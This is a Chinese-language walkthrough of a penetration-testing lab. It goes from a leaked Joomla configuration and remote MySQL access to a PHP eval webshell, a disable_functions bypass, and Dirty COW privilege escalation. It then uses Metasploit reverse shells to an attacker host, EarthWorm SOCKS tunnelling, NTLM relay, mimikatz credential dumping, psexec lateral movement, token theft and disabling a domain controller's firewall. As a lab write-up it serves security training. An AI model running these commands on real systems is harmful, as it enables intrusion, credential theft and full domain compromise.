1. 环境配置
此图仅供参考,IP地址有误
首先添加一张网卡(仅主机模式),192.168.93.0/24 网段
web-centos
进去第一条命令 service network restart 重启网络服务
网卡1:桥接模式 192.168.119.118 (180.118)
网卡2:仅主机 192.168.93.100
web1-ubuntu
仅主机模式:192.168.93.120
PC
仅主机:192.168.93.30
win 2008
仅主机:192.168.93.20
win 2012
仅主机:192.168.93.10
kali
重启网卡命令:systemctl restart networking
IP:192.168.119.62
2. 信息收集
目标机端口扫描
经过端口扫描,发现有22、80、3306端口开放
内网存活主机的扫描要通过搭建代理的方式
分别对开放端口利用。
80端口http服务,可以尝试登录网页
3306端口mysql服务,可以尝试SQL注入,远程连接MySQL等
目录扫描
回想getshell的方法。首先尝试目录扫描,找到后台登录页面,尝试弱密码,暴力破解等。
进入 http://192.168.119.118/administrator/index.php
用不了弱密码,在网上搜索,可以利用cms框架的配置文件的路径,看是否有敏感信息泄露
http://192.168.119.118/configuration.php
找到了数据库的用户名和密码 testuser/cvcvgjASD!@,还有数据库名,表名等信息
尝试用Hydra,brupsuite暴力破解,但是都没有成功
最后,通过学习别人的思路,远程登录目标机的MySQL
3. 漏洞利用
主要是利用敏感信息泄露,得知了mysql的用户名密码:testuser/cvcvgjASD!@
然后可以远程连接MySQL数据库,添加用户名密码,成功登录后台,提升了权限。
远程连接web的MySQL
找到后台登录页面后,尝试弱口令,暴力破解,SQL注入,都不成功,也没有相关敏感信息泄露
最后想到3306端口是开启的,有MySQL的用户名密码信息泄露,可以远程登录目标机的数据库,添加一个用户名密码进行登录
由于泄露的敏感信息中没有相关的表名,根据经验,应该在user相关的表中
修改用户名的密码为123456,结果登录验证依然失败,必须修改为加密后的数据
重新添加一个用户名密码 admin1/secret
secret 加密后 d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
同理也要在am2zu_user_usergroup_map这个表添加数据
group_id 为 8 的意思是 Super User
登录后台写一句话木马
点击Bee3 Details and Files
在index.php 文件中 写入一句话木马 <?php eval($_POST['a']); ?>,点击Save
连接木马文件getshell
一句话木马写在了index.php,因此要找到index.php的绝对路径,猜测就是我们登录的页面http://192.168.180.118/administrator/index.php
连接测试失败,根据泄露的敏感信息,猜测应该是http://192.168.180.118/html/administrator/index.php,引入不成功
最后观察页面上的信息,推测路径http://192.168.180.118/template/beez3/index.php,注意linux系统严格区分大小写
蚁剑连接,成功获取webshell
打开虚拟终端,发现不能执行命令
通过蚁剑在templates/beez3目录下写一个phpinfo文件
然后访问 http://192.168.180.118/templates/beez3/phpinfo.php
发现 命令执行被禁用
下载绕过disable_funtions 的payload
https://github.com/MrAnonymous-1/disable_functions
将exploit1.php上传到web服务器的指定目录下
访问此文件http://192.168.156.118/templates/beez3/exploit1.php,发送post请求,页面上就会返回命令执行结果
POST: cmd=<command>
// <command>为要执行的系统命令
// 例如:cmd=ipconfig
4. 内网渗透
分别启动CS的服务端、客户端,尝试用CS生成钓鱼文件,让web上线,但是没有成功,因为权限不够
由于是Web服务是centos系统,不能利用ms17-010
内网信息收集
ifconfig 发现一个网段192.168.93.0/24 和 一个IP地址 192.168.93.120
cat /etc/issue #查看系统名称 Ubuntu 16.04.6 LTS \n \l
cat /etc/*release #查看linux发行信息
uname -an #查看内核版本
cat /proc/version #查看内核信息
cat /etc/passwd #存放用户名信息,没有密码信息
cat /etc/shadow #存放用户名密码信息,密码被加密,只要root用户才能读取
whoami #查看当前shell权限 www-data
id uid=33(www-data) gid=33(www-data) groups=33(www-data)
总之发现,查到的很多信息都是Ubuntu虚拟机(Web1)的,当我把Ubuntu虚拟机挂起后,再执行上述命令,返现无返回结果。现在的情况是,拿到了Centos的shell,执行命令返回的是Ubuntu(web1)的信息
原来是Centos是Ubuntu的反向代理,用的是Nginx协议
利用蚁剑的插件,绕过disable_functions 对系统命令执行的限制,在Ubuntu上发现了一组用户名密码
-
由于前面进行了端口扫描,只开放看22,80,3306端口,因此猜测是SSH的凭证 -
用Xshell进行连接Centos的IP,输入用户名密码 wwwuser/wwwuser_123Aqx -
输入ifconfig,返回的是Centos的IP地址信息
查看nginx的相关配置文件,验证Centos和Ubuntu是否是有代理的关系
ps aux | grep nginx
find / -name nginx
find / -name proxy
脏牛漏洞提权
脏牛漏洞 (CVE-2016-5195)对CentOS 进行提权
EXP下载:https://github.com/FireFart/dirtycow
将代码上传到一个可以执行的文件夹内
对dirty.c进行编译
gcc -pthread dirty.c -o dirty -lcrypt
执行编译后的文件,并设置密码
./dirty 123456
id #显示用户的ID,以及所属群组的ID;uid=0,为root用户
内网渗透,建立监听
为了内网渗透,扫描到192.168.93.0/24 网段内主机的相关信息,我们要通过msf生成一个payload,在CentOS上运行此payload,建立 msf 和CentOS 的连接
use exploit/multi/script/web_delivery
set target 6 # 选择目标系统
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.106
set lport 4444
exploit
输入run之后,会生成一个payload,然后复制在CentOS上执行
执行之后就会出现下图红框的中的内容
然后执行这个session,就出现了meterpreter后渗透阶段
路由转发Sock代理
添加路由是为了能让msf程序进入内网,便于攻击
earthworm搭建socks5反向代理服务 是为了让kali(攻击者)的程序进入内网,可以扫描内网主机信息等
ew流量走向:本地流量–本地1080端口–web服务器1234端口(利用EW)-- 内网服务器 – web服务器的1234端口 – 本地1080端口
添加一个通向内网 192.168.93.0/24 网段的路由
route add 192.168.93.0 255.255.255.0 1
# 目的网段 192.168.93.0 子网掩码 255.255.255.0 下一跳地址 session 1
Socks5代理
上述的内网渗透,建立监听操作都是在msfconsole视图下完成的,路由转发只能将msfconsole带进内网,但是想要将攻击机其他程序也带进内网还需要搭建socks代理。
使用earthworm搭建socks5反向代理
kali(攻击者)
./ew_for_linux64 -s rcsocks -l 1080 -e 1234
#将1080端口监听到的本地数据转发到 web服务器的1234端口
# 通过1080端口,将本地流量转发出去
#rcsocks、rssocks 用于反向连接
#ssocks 用于正向连接
# -l 指定本地监听的端口
# -e 指定要反弹到的机器端口
# -d 指定要反弹到机器的IP
# -f 指定要主动连接的机器 ip
# -g 指定要主动连接的机器端口
# -t 指定超时时长,默认为 1000
在CentOS上传 ew_for_linux64
./ew_for_linux64 -s rssocks -d 192.168.1.106 -e 1234
#192.168.1.106 是攻击者kali的IP地址
将socks5 服务器指向 127.0.0.1:1080
vim /etc/proxychains4.conf
之后我们就可以利用proxychains将我们的程序代理进入内网了
测试可以ping通内网主机
下面我们就可以扫描内网的存活主机
由于内存不够,只开启了一台虚拟机,所以只扫描到192.168.93.30
use auxiliary/scanner/discovery/udp_probe
set rhosts 192.168.93.0-255
set threads 5
run
5. 横向移动
NTLM Relay 攻击
工具使用说明: impacket-master : 为了伪造smb服务器,抓取用户的密码 msf : 生成一个exe木马 ,结合impacket-master的smbrelayx.py使用
通过NTLM Relay伪造的SMB服务器拿到密码,利用msf拿下 win2008
大致的思路是:攻击者在CentOS上面伪造一个恶意的SMB服务器,当内网中有机器 Client1 访问这个攻击者精心构造好的SMB服务器时, smbrelayx.py 脚本将抓到 Client1 的 Net-NTLM Hash ,然后 smbrelayx.py 用抓取到的 Client1 的 Net-NTLM Hash 重放给内网中的另一台机器 Client2。
因此我们的思路就是通过msf生成的木马shell.exe,上传到CentOS,用smbrelayx.py执行,然后CentOS上就会生成 伪造的SMB恶意服务器,内网主机访问SMB并输入账号密码,CentOS的上的恶意代码smbrelayx.py就会抓取内网主机的 Net-NTLM Hash,返还给内网中的另一台主机(本案例中为win 2008(192.168.93.20)),并通过CentOS上的msf生成的shell.exe回传给kali(攻击者),然后内网目标主机通过msf的监听上线。
首先利用msf的msfvenom模块生成一个exe后缀木马(开启远程桌面也是用到此模块)
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.106 LPORT=4567 -e x86/shikata_ga_nai -f exe -o shell.exe
#192.168.1.106 是kali的IP地址
将生成的木马文件上传到CentOS
然后进入Impacket的examples目录执行如下命令:
python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe
# 攻击信息都会反弹到192.168.93.20这台主机
出现以下报错,说明python环境有问题
下面我们下载python3 环境
由于有一个认证失败的原因,因此不能直接用 pip install --upgrade pip 的方式。要用下面的方式进行安装
wget -c https://www.python.org/ftp/python/3.6.9/Python-3.6.9.tgz
tar -zvxf Python-3.6.9.tgz
cd Python-3.6.9
./configure --prefix=/usr/local/python --with-openssl
make && make install
ln -s /usr/local/python/bin/python3 /usr/bin/python3
ln -s /usr/local/python/bin/pip3 /usr/bin/pip
pip install --upgrade pip -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com
pip install six -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pycryptodomex
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyOpenSSL
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com ldap3
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com pyasn1
pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com impacket
执行后会在CentOS上面启动一个smb服务和一个http服务,http服务会跟nginx的80端口冲突,所以需要事先停止nginx 服务:
nginx -s stop
执行完python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe。此时,如果内网中的有域用户访问再次通过CentOS代理访问站点时,访问的就不是之前的那个Joomla站点了,而是攻击者在CentOS上面搭建的一个恶意的smb服务,会弹出一个认证页面:
安全意识差的用户自然会输入自己的域用户密码,然后smbrelayx.py就会抓取到该用户的Net-NTLM Hash并重放给内网中的另一台机器 192.168.93.20(Windows Server 2008),成功后,会在Windows Server 2008上面上传我们预先生成的木马shell.exe并执行。因为smbrelayx.py指定的是192.168.93.20这台主机
由此命令 python3 smbrelayx.py -h 192.168.93.20 -e /tmp/shell.exe 可知,smbproxy.py抓取的用户名密码信息都会重放到win 2008(192.168.93.20),所有要对win 2008进行监听
在msf上开启对 win 2008(192.168.93.20)的监听
然后在win7上访问smb服务器,使得win 2008成功上线
顺序不能错,一定要先开启监听,在用win7登录smb伪造服务器
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.20
set AutoRunScript post/windows/manage/migrate
run
这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透
由于这里是靶机,所以手动完成该域用户的认证过程,就用 PC (Windows7) 上的用户访问吧。输入用户名密码后,smbrelayx.py成功抓取到该用户的Net-NTLM Hash:
这样就获取到win 2008的权限,可以通过meterpreter 对win 2008进行后渗透
注意这里在监听bind_tcp时一定要设置进程迁移,否则在Removing file 的时候,会话也随之关闭了
定位域管理员
PVEFindADUser.exe:它通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,可以查找域用户位置、某计算机上登录用户,定位管理员 需要注意的是:该工具的某些功能需要管理员权限
通过meterpreter 上传PVEFindADUser.exe到 win 2008,域管理员当前登录位置是win 2012
upload filename #msf在哪个路径下开启,就上传此路径下的文件
拿下Windows server 2008之后,然后进入shell中执行如下命令:
shell
pvefinaduser.exe -current
如下图,成功显示域中所有计算机上当前登陆的所有用户:
meterpreter的kiwi模块抓取密码
查看进程
load kiwi
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
报错了,因为当前是32位的进程无法运行mimikatz,所以我们需要将当前进程迁移到一个64位的进程中。执行ps命令后随便找一个64位的进程迁移进去就行了:
成功抓取到了Windows 2008本地的管理员用户和域管理员的密码:
WIN2008\Administrator:123qwe!ASD
TEST\administrator:zxcASDqw123!!
使用获取到的密码控制 win7
思路:由于域内的用户名密码可以任意登录主机,因此获取用户名密码后,就可以利用 msf的exploit/windows/smb/psexec模块 登录其他主机
由于在使用NTLM Realy的时候,win7(192.168.93.30) 登录smb伪造服务器也会被 win2008(192.168.93.20)记录来了,猜测应该可以用同一组密码登录 win7
下面尝试登录 PC (win7 : 192.168.93.30)
use exploit/windows/smb/psexec
set payload windows/meterpreter/bind_tcp
set rhosts 192.168.93.30
set SMBUser administrator
set SMBPass 123qwe!ASD
run
进攻域控(win 2012)
思路:由于获取到了域管理员的密码,首先尝试用msf的exploit/windows/smb/psexec模块登录,登录失败后,尝试其他方法。在msf上用msfvenom模块生成exe木马文件,上传到win 2008,将win 2008作为跳板,远程攻击win 2012。在win 2008上窃取管理员用户的token令牌,这样就可以通过win2008 访问 win2012(域控),然后远程关掉域控的防火墙,在此用msf登录域控,结果成功,接下来就是后渗透找目标文件
用同样的方式进行登录,通过上面获取的域控的用户名密码,通过msf直接登录,但是这次失败
setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/psexec
set rhosts 192.168.93.10
set SMBDomain TEST
set SMBUser administrator
set SMBPass zxcASDqw123!!
# set SMBPass fc5d63d71569f04399b419bc76e2eb34:18edd0cc3227be3bf61ce198835a1d97
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.10
run
换其他方法,重新生成一个正向的msf木马,上传到win2008
msfvenom -p windows/meterpreter/bind_tcp LHOST=192.168.1.102 LPORT=6666 -f exe -o shell.exe
上传木马文件
窃取管理员用户的token令牌
use incognito
list_tokens -u
impersonate_token "TEST\adminitrator"
这样我们的当前拿下的Win2008便有了访问域控制器的权限
在C:\Users\Administrator\Documents目录里面发现了所谓的机密文件
关闭win2012(192.168.93.10)的防火墙
sc \\192.168.93.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.93.10 start unablefirewall
再次使用msf的 exploit/windows/smb/psexec 模块登录win2012
6. 问题总结
以下是在实验中遇到的关键点,还有一些小小的梳理
-
mysql服务+用户名密码泄露=mysql远程登录 -
拿到webshell,不能执行命令怎么办,phpinfo()验证,绕过disable_functions -
用proxychains+nmap的方式扫描存活主机 proxychains nmap -sT 192.168.93.0/24 为什么不是连续扫描,-sV 扫描不出结果
- msf的使用技巧,知道一个漏洞应该对应使用哪个模块
- 代理和隧道的联系
|